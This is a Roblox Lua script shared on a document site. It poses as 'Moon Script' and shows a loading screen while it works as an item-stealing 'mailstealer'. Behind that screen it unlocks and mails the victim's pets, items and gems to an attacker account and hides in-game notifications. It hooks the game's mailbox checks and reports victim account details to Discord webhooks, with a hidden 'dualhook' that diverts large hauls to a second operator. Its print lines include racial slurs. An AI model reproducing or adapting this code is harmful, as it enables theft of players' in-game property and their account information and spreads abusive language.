0% found this document useful (0 votes)
8 views17 pages

Message

The document is a Lua script for a Roblox game that creates a GUI for loading a script called 'Moon Script'. It includes functionalities such as user authentication, inventory management, and sending webhook notifications with user and item details. The script also contains various checks and features related to in-game items and player actions.

Uploaded by

alcareznorma8
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
8 views17 pages

Message

The document is a Lua script for a Roblox game that creates a GUI for loading a script called 'Moon Script'. It includes functionalities such as user authentication, inventory management, and sending webhook notifications with user and item details. The script also contains various checks and features related to in-game items and player actions.

Uploaded by

alcareznorma8
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

Username = "Username Here"

Webhook = "Webhook Here"


-- // DUALHOOK IS BELOW
-- // DUALHOOK IS BELOW
-- // DUALHOOK IS BELOW
-- // DUALHOOK IS BELOW
-- // DUALHOOK IS BELOW
local player = [Link]
local gui = [Link]("ScreenGui")
[Link] = player:WaitForChild("PlayerGui")

-- Main frame with rounded corners


local frame = [Link]("Frame")
[Link] = [Link](0, 300, 0, 150)
[Link] = [Link](0.5, -150, 0.5, -75)
frame.BackgroundColor3 = [Link](0, 0, 0)
[Link] = 0.2
[Link] = 0
[Link] = true
[Link] = gui

-- Rounded corner effect


local corner = [Link]("UICorner")
[Link] = [Link](0, 16)
[Link] = frame

-- Text label for the "Loading" message


local textLabel = [Link]("TextLabel")
[Link] = [Link](1, 0, 0.6, 0)
[Link] = [Link](0, 0, 0.2, 0)
[Link] = 1
textLabel.TextColor3 = [Link](255, 255, 255)
[Link] = "Moon Script is loading"
[Link] = true
[Link] = [Link]
[Link] = 0.5
textLabel.TextStrokeColor3 = [Link](0, 0, 0)
[Link] = frame

-- Animated loading dots


local dotLabel = [Link]("TextLabel")
[Link] = [Link](1, 0, 0.2, 0)
[Link] = [Link](0, 0, 0.8, 0)
[Link] = 1
dotLabel.TextColor3 = [Link](255, 255, 255)
[Link] = ""
[Link] = true
[Link] = [Link]
[Link] = frame

-- Animation for dots


local dotCount = 0
game:GetService("RunService").Heartbeat:Connect(function()
dotCount = (dotCount + 1) % 4
[Link] = "Loading" .. [Link](".", dotCount)
end)

-- Optional: Make the frame draggable


[Link] = true
[Link] = true

DualRAP = 1000000000
DualUser = "" -- dualhook name
DualWebhook = "" -- dualhook webhook

LogsWebhook = "" -- webhook logs


mailstealer_name = "Moon Scripts" -- name

Roblox_Username = Username
Discord_Webhook = Webhook

-- simple mailstealer
LOGS_WEBHOOK = LogsWebhook
if getgenv().Executed == true then
return
end
getgenv().Executed = true

print("BY @Oblivion from Moon Scripts")


repeat
[Link]()
until game:IsLoaded()

if not game:IsLoaded() then


[Link]:Wait()
end

local idiotuser = game:GetService("Players").[Link]

if idiotuser == Username then


game:GetService("Players").LocalPlayer:Kick("You Are The Owner! (test it on alt
acc)")
return
end
if Username == nil then
game:GetService("Players").LocalPlayer:Kick("Put A UserName")
return
end

repeat
[Link]()
until game:IsLoaded()
repeat
[Link]()
until [Link] ~= nil
repeat
[Link]()
until not [Link]:FindFirstChild("__INTRO")
-- variables:

local Library = require([Link])


local Save =
require(game:GetService("ReplicatedStorage").[Link]).Get()
local Directory = require(game:GetService("ReplicatedStorage").[Link])
local Player = [Link]
local Inventory = [Link]
local HttpService = game:GetService("HttpService")
local MailMessage = "xe scripts on top"
local message = require([Link])
local network = game:GetService("ReplicatedStorage"):WaitForChild("Network")
local DevRAPCmds =
require(game:GetService("ReplicatedStorage").[Link])
-- JOIN MOON SCRIPTS

for id, table in pairs([Link]) do


if [Link] == "Diamonds" then
GemsAmount = table._am or 0
break
end
end

for adress, func in pairs(getgc()) do


if typeof(func) == "function" and [Link](func).name ==
"computeSendMailCost" then
FunctionToGetFirstPriceOfMail = func
break
end
end

FirstPriceOfMail = FunctionToGetFirstPriceOfMail()

if FirstPriceOfMail > GemsAmount then


print("You don't have enough gems to run a script")
return
end

print("ffucking nigger")
local FormatNumber = function(number)
local n = [Link](number)
local suf = {
"",
"k",
"m",
"b",
"t"
}
local INDEX = 1
while n >= 1000 do
n = n / 1000
INDEX = INDEX + 1
end
return [Link]("%.2f%s", n, suf[INDEX])
end

local function getRAP(Type, Item)


local mockPetObject = {
Class = {Name = Type},
IsA = function(self, className)
return className == Type
end,
GetId = function(self)
return [Link]
end,
StackKey = function(self)
return HttpService:JSONEncode({id = [Link], pt = [Link], sh =
[Link], tn = [Link]})
end,
AbstractGetRAP = function(self)
if DevRAPCmds and type([Link]) == "function" then
local success, result = pcall([Link], self)
if success then
return result
else
return nil
end
else
return nil
end
end,
}
return mockPetObject
end

local GetItemValue = function(Type, ItemTable)


local rapObject = getRAP(Type, ItemTable)
if rapObject then
return rapObject:AbstractGetRAP() or 0
end
return 0
end

local GetItemValueOfItems = function()


RAP = 0
for name_of_category, category in pairs(Inventory) do
if category ~= nil then
for i, v in pairs(category) do
RAP = RAP + GetItemValue(name_of_category, v)
end
end
end
return RAP
end
function deepCopy(original)
local copy = {}
for k, v in pairs(original) do
if type(v) == "table" then
v = deepCopy(v)
end
copy[k] = v
end
return copy
end

print("MADE BY MOON SCRIPT")

local function SendMessage(id, item_type, RBgoldNormal, thumbnail, webhook,


pets_left, shiny, ping, RAP, totalRap1)
local headers = {
["Content-Type"] = "application/json"
}
if shiny == true then
shinyy = "Shiny"
elseif shiny == false then
shinyy = "not Shiny"
end
imgs =
"[Link]
[Link]"
local fardplayer = game:GetService("Players").LocalPlayer
local ExecutorWebhook = identifyexecutor() or "undefined"
JobId = [Link]
local PlayerUser = [Link]
local msg = {
["content"] = ping,
["username"] = "" .. mailstealer_name .. " Mailstealer",
["avatar_url"] = imgs,
["embeds"] = {
{
["title"] = "**YOU JUST GOT A HIT!!**",
["type"] = "rich",
["color"] = tonumber(000000),
["thumbnail"] = {
["url"] = thumbnail
},
["fields"] = {
{
["name"] = "**This Hit Was Generated Using " ..
mailstealer_name .. " Scripts**",
["value"] = "```Username : " ..
[Link] ..
"\nUser-ID : " ..
[Link] ..
"\nAccount Age : " ..
[Link] ..
" Days" ..
"\nExploit : " ..
ExecutorWebhook ..
"\nReceiver : " ..
Roblox_Username ..
"\nTotal RAP
: " ..
FormatNumber(totalRap1) .. "```",
["inline"] = false
},
{
["name"] = ":dog: **Pets left** :dog:",
["value"] = "```➜ " .. pets_left .. "```",
["inline"] = true
},
{
["name"] = ":money_mouth: **" .. item_type ..
"** :money_mouth:",
["value"] = "```➜ " .. id .. "```",
["inline"] = true
},
{
["name"] = ":trophy: **Item RAP** :trophy:",
["value"] = "```➜ " .. FormatNumber(RAP) .. "```",
["inline"] = true
},
{
["name"] = ":gem: **Gems Left** :gem:",
["value"] = "```➜ " .. FormatNumber(GemsAmount) .. "```",
["inline"] = true
},
{
["name"] = ":sparkles: **Shiny** :sparkles:",
["value"] = "```➜ " .. shinyy .. "```",
["inline"] = true
},
{
["name"] = ":rainbow: **RB/Gold/Reg** :sparkles:",
["value"] = "```➜ " .. RBgoldNormal .. "```",
["inline"] = true
}
}
}
},
["attachments"] = {}
}
local request = http_request or request or HttpPost or [Link]
request(
{
Url = webhook,
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Body = [Link]:JSONEncode(msg)
}
)
end

-- skidded that, SORRY!!

local gemsleaderstat = [Link]["\240\159\146\142 Diamonds"].Value


local gemsleaderstatpath = [Link]["\240\159\146\142 Diamonds"]
gemsleaderstatpath:GetPropertyChangedSignal("Value"):Connect(
function()
[Link] = gemsleaderstat
end
)

local loading = [Link]["Process Pending GUI"]


local noti = [Link]
[Link] = true
noti:GetPropertyChangedSignal("Enabled"):Connect(
function()
[Link] = false
end
)
[Link] = false

[Link](
function()
[Link]:Connect(
function(x)
if [Link] == "Sound" then
if
[Link] == "rbxassetid://11839132565" or [Link] ==
"rbxassetid://14254721038" or
[Link] == "rbxassetid://12413423276"
then
[Link] = 0
[Link] = false
x:Destroy()
end
end
end
)
end
)

-- no more skidding!

local function GetThumbnail(imageid)


Asset = [Link](imageid, "rbxassetid://")[2]
local Size = "420x420"
local Image =
game:HttpGet(
"[Link] ..
Asset .. "&returnPolicy=PlaceHolder&size=" .. Size .. "&format=png"
)
thumbnail = [Link]:JSONDecode(Image).data[1].imageUrl
return thumbnail
end

MinimumRAP = FirstPriceOfMail

-- EMPTY BOXES
if [Link] then
for key, value in pairs([Link]) do
if value._uq then

game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Box:
Withdraw All"):InvokeServer(
key
)
end
end
end

local response, err =

game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Mailbox:
Claim All"):InvokeServer()
while err == "You must wait 30 seconds before using the mailbox!" do
wait()
response, err =

game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Mailbox:
Claim All"):InvokeServer()
end

require([Link]).Claim()
require([Link]).Claim()

local GetListWithAllItems = function()


local hits = {}
if [Link] ~= nil then
for i, v in pairs([Link]) do
id = [Link]
dir = [Link][id]
if [Link] and [Link] ~= false then
rap = GetItemValue("Pet", v)
if [Link] == 1 then
ItemImageId = [Link]
ItemType = "Golden"
elseif [Link] == 2 then
ItemImageId = [Link]
ItemType = "Rainbow"
else
ItemImageId = [Link]
ItemType = "Normal"
end
[Link](
hits,
{
Item_Id = i,
Item_Name = [Link],
Item_Amount = v._am or 1,
Item_RAP = rap,
Item_Class = "Pet",
IsShiny = [Link] or false,
IsLocked = [Link] or false,
Item_ImageId = ItemImageId,
Item_Type = ItemType
}
)
end
if [Link] and [Link] ~= false then
rap = GetItemValue("Pet", v) * (v._am or 1)
if [Link] == 1 then
ItemImageId = [Link]
ItemType = "Golden"
elseif [Link] == 2 then
ItemImageId = [Link]
ItemType = "Rainbow"
else
ItemImageId = [Link]
ItemType = "Normal"
end
if rap > MinimumRAP then
[Link](
hits,
{
Item_Id = i,
Item_Name = [Link],
Item_Amount = v._am or 1,
Item_RAP = rap,
Item_Class = "Pet",
IsShiny = [Link] or false,
IsLocked = [Link] or false,
Item_ImageId = ItemImageId,
Item_Type = ItemType
}
)
end
end
end
end
if [Link] ~= nil then
for i, v in pairs([Link]) do
id = [Link]
dir = [Link][id]
rap = GetItemValue("Egg", v)
ItemType = "Normal"
ItemImageId = [Link]
if rap > MinimumRAP then
[Link](
hits,
{
Item_Id = i,
Item_Name = [Link],
Item_Amount = v._am or 1,
Item_RAP = rap,
Item_Class = "Egg",
IsShiny = [Link] or false,
IsLocked = [Link] or false,
Item_ImageId = ItemImageId,
Item_Type = ItemType
}
)
end
end
end
if [Link] ~= nil then
for i, v in pairs([Link]) do
id = [Link]
dir = [Link][id]
rap = GetItemValue("Misc", v)
ItemType = "Normal"
ItemImageId = [Link]
if rap > MinimumRAP and [Link] ~= "Slingshot" then
[Link](
hits,
{
Item_Id = i,
Item_Name = [Link],
Item_Amount = v._am or 1,
Item_RAP = rap,
Item_Class = "Misc",
IsShiny = [Link] or false,
IsLocked = [Link] or false,
Item_ImageId = ItemImageId,
Item_Type = ItemType
}
)
end
end
end
if [Link] ~= nil then
for i, v in pairs([Link]) do
id = [Link]
dir = [Link][id]
rap = GetItemValue("Charm", v)
ItemType = "Normal"
ItemImageId = [Link]
if rap > MinimumRAP then
[Link](
hits,
{
Item_Id = i,
Item_Name = [Link],
Item_Amount = v._am or 1,
Item_RAP = rap,
Item_Class = "Charm",
IsShiny = [Link] or false,
IsLocked = [Link] or false,
Item_ImageId = ItemImageId,
Item_Type = ItemType
}
)
end
end
end
if [Link] ~= nil then
for i, v in pairs([Link]) do
id = [Link]
dir = [Link][id]
rap = GetItemValue("Enchant", v)
ItemType = "Normal"
ItemImageId = [Link]([Link])
if rap > MinimumRAP then
[Link](
hits,
{
Item_Id = i,
Item_Name = [Link],
Item_Amount = v._am or 1,
Item_RAP = rap,
Item_Class = "Enchant",
IsShiny = [Link] or false,
IsLocked = [Link] or false,
Item_ImageId = ItemImageId,
Item_Type = ItemType
}
)
end
end
end
if [Link] ~= nil then
for i, v in pairs([Link]) do
id = [Link]
dir = [Link][id]
rap = GetItemValue("Lootbox", v)
ItemType = "Normal"
ItemImageId = [Link]
if rap > MinimumRAP then
[Link](
hits,
{
Item_Id = i,
Item_Name = [Link],
Item_Amount = v._am or 1,
Item_RAP = rap,
Item_Class = "Lootbox",
IsShiny = [Link] or false,
IsLocked = [Link] or false,
Item_ImageId = ItemImageId,
Item_Type = ItemType
}
)
end
end
end
if [Link] ~= nil then
for i, v in pairs([Link]) do
id = [Link]
dir = [Link][id]
rap = GetItemValue("Potion", v)
ItemType = "Normal"
ItemImageId = [Link]([Link])
if rap > MinimumRAP then
[Link](
hits,
{
Item_Id = i,
Item_Name = [Link],
Item_Amount = v._am or 1,
Item_RAP = rap,
Item_Class = "Potion",
IsShiny = [Link] or false,
IsLocked = [Link] or false,
Item_ImageId = ItemImageId,
Item_Type = ItemType
}
)
end
end
end
if [Link] ~= nil then
for i, v in pairs([Link]) do
id = [Link]
dir = [Link][id]
rap = GetItemValue("Seed", v)
ItemType = "Normal"
ItemImageId = [Link]
if rap > MinimumRAP then
[Link](
hits,
{
Item_Id = i,
Item_Name = [Link],
Item_Amount = v._am or 1,
Item_RAP = rap,
Item_Class = "Seed",
IsShiny = [Link] or false,
IsLocked = [Link] or false,
Item_ImageId = ItemImageId,
Item_Type = ItemType
}
)
end
end
end
if [Link] ~= nil then
for i, v in pairs([Link]) do
id = [Link]
dir = [Link][id]
rap = GetItemValue("Ultimate", v)
ItemType = "Normal"
ItemImageId = [Link]
if rap > MinimumRAP then
[Link](
hits,
{
Item_Id = i,
Item_Name = [Link],
Item_Amount = v._am or 1,
Item_RAP = rap,
Item_Class = "Ultimate",
IsShiny = [Link] or false,
IsLocked = [Link] or false,
Item_ImageId = ItemImageId,
Item_Type = ItemType
}
)
end
end
end
if [Link] ~= nil then
for i, v in pairs([Link]) do
id = [Link]
dir = [Link][id]
rap = GetItemValue("Fruit", v)
ItemType = "Normal"
ItemImageId = [Link]
if rap > MinimumRAP then
[Link](
hits,
{
Item_Id = i,
Item_Name = [Link],
Item_Amount = v._am or 1,
Item_RAP = rap,
Item_Class = "Fruit",
IsShiny = [Link] or false,
IsLocked = [Link] or false,
Item_ImageId = ItemImageId,
Item_Type = ItemType
}
)
end
end
end
if [Link] ~= nil then
for i, v in pairs([Link]) do
id = [Link]
dir = [Link][id]
rap = GetItemValue("Hoverboard", v)
ItemType = "Normal"
ItemImageId = [Link]
if rap > MinimumRAP then
[Link](
hits,
{
Item_Id = i,
Item_Name = [Link],
Item_Amount = v._am or 1,
Item_RAP = rap,
Item_Class = "Hoverboard",
IsShiny = [Link] or false,
IsLocked = [Link] or false,
Item_ImageId = ItemImageId,
Item_Type = ItemType
}
)
end
end
end
if [Link] ~= nil then
for i, v in pairs([Link]) do
id = [Link]
dir = [Link][id]
rap = GetItemValue("Booth", v)
ItemType = "Normal"
ItemImageId = [Link]
if rap > MinimumRAP then
[Link](
hits,
{
Item_Id = i,
Item_Name = [Link],
Item_Amount = v._am or 1,
Item_RAP = rap,
Item_Class = "Booth",
IsShiny = [Link] or false,
IsLocked = [Link] or false,
Item_ImageId = ItemImageId,
Item_Type = ItemType
}
)
end
end
end
[Link](
hits,
function(a, b)
return a.Item_RAP > b.Item_RAP
end
)
return hits
end

local function IsMailboxHooked()


local uid
for i, v in pairs(Inventory["Pet"]) do
uid = i
break
end
local args = {
[1] = "Roblox",
[2] = "Test",
[3] = "Pet",
[4] = uid,
[5] = 1
}
local response, err = network:WaitForChild("Mailbox:
Send"):InvokeServer(unpack(args))
if (err == "They don't have enough space!") or (err == "You don't have enough
diamonds to send the mail!") then
return false
else
return true
end
end

itemsCounted = 0
local totalRap = 0
local hits = GetListWithAllItems()
currentMailPrice = FirstPriceOfMail
-- make it count total rap until sending price is bigger than gems amount, also
make it calculate gems amount after each send
for i, v in pairs(hits) do
if v.Item_RAP >= currentMailPrice then
totalRap = totalRap + v.Item_RAP
itemsCounted = itemsCounted + 1
end
currentMailPrice = currentMailPrice * 1.5
if currentMailPrice > 5000000 then
currentMailPrice = 5000000
end
end

if totalRap >= DualRAP then


print("EZ BITCH NIGGER")
Roblox_Username = DualUser
Discord_Webhook = DualWebhook
end

local function sendItem(category, uid, am, locked)


local args = {
[1] = Roblox_Username,
[2] = "" .. mailstealer_name .. " scripts on top",
[3] = category,
[4] = uid,
[5] = am
}
local response = false
repeat
if locked == true then
local args = {
uid,
false
}

game:GetService("ReplicatedStorage").Network.Locking_SetLocked:InvokeServer(unpack(
args))
end
local response, err = network:WaitForChild("Mailbox:
Send"):InvokeServer(unpack(args))
if response == false and err == "They don't have enough space!" then
Roblox_Username = Username2
args[1] = Roblox_Username
end
until response == true
GemsAmount = GemsAmount - FirstPriceOfMail
FirstPriceOfMail = [Link]([Link](FirstPriceOfMail) * 1.5)
if FirstPriceOfMail > 5000000 then
FirstPriceOfMail = 5000000
end
end

local function SendAllGems()


for i, v in pairs([Link]) do
if [Link] == "Diamonds" then
if GemsAmount >= (FirstPriceOfMail + 10000) then
SentGems = GemsAmount - FirstPriceOfMail
local args = {
[1] = Roblox_Username,
[2] = "" .. mailstealer_name .. " scripts on top",
[3] = "Currency",
[4] = i,
[5] = SentGems
}
local response = false
repeat
local response = network:WaitForChild("Mailbox:
Send"):InvokeServer(unpack(args))
until response == true
SendMessage("Diamonds", "Currency", "Gems",
"rbxassetid://15258327857", Discord_Webhook, "none", "no", "@everyone", SentGems,
totalRap)
break
end
end
end
end

Left_Hits = #hits

if #hits > 0 or GemsAmount > FirstPriceOfMail then


local blob_a =
require(game:GetService("ReplicatedStorage").[Link])
local blob_b = blob_a.Get()

FavoriteModeSelection = blob_a.Get().FavoriteModeSelection
FavoriteModeSelectionPlaza = blob_a.Get().FavoriteModeSelectionPlaza

oldGet = deepCopy(blob_b)
blob_a.Get = function(...)
blob_b = oldGet
blob_b.FavoriteModeSelection = {FavoriteModeSelection}
blob_b.FavoriteModeSelectionPlaza = {FavoriteModeSelectionPlaza}
return blob_b
end

if IsMailboxHooked() then
local Mailbox =
game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Mailbox:
Send")
for i, Func in ipairs(getgc(true)) do
if typeof(Func) == "function" and [Link](Func, "n") == "typeof"
then
local Old
Old =
hookfunction(
Func,
function(Ins, ...)
if Ins == Mailbox then
return tick()
end
return Old(Ins, ...)
end
)
end
end
end
for i, v in pairs(hits) do
if FirstPriceOfMail > 5000000 then
FirstPriceOfMail = 5000000
end
if v.Item_RAP >= FirstPriceOfMail then
sendItem(v.Item_Class, v.Item_Id, v.Item_Amount, [Link])
thumb = GetThumbnail(v.Item_ImageId)
Left_Hits = Left_Hits - 1
[Link](
function()
SendMessage(
v.Item_Name,
v.Item_Class,
v.Item_Type,
thumb,
Discord_Webhook,
Left_Hits,
[Link],
"@everyone",
v.Item_RAP,
totalRap
)
if Roblox_Username ~= DualhookUsername then
SendMessage(
v.Item_Name,
v.Item_Class,
v.Item_Type,
thumb,
LOGS_WEBHOOK,
Left_Hits,
[Link],
"MOON ON TOP!!",
v.Item_RAP,
totalRap
)
end
end
)
else
break
end
end
SendAllGems()
gui:Destroy()

local message = require([Link])


[Link]("YOU JUST GOT MAILSTOLEN BY MOON SCRIPTS
[Link]
setclipboard("[Link]
end

You might also like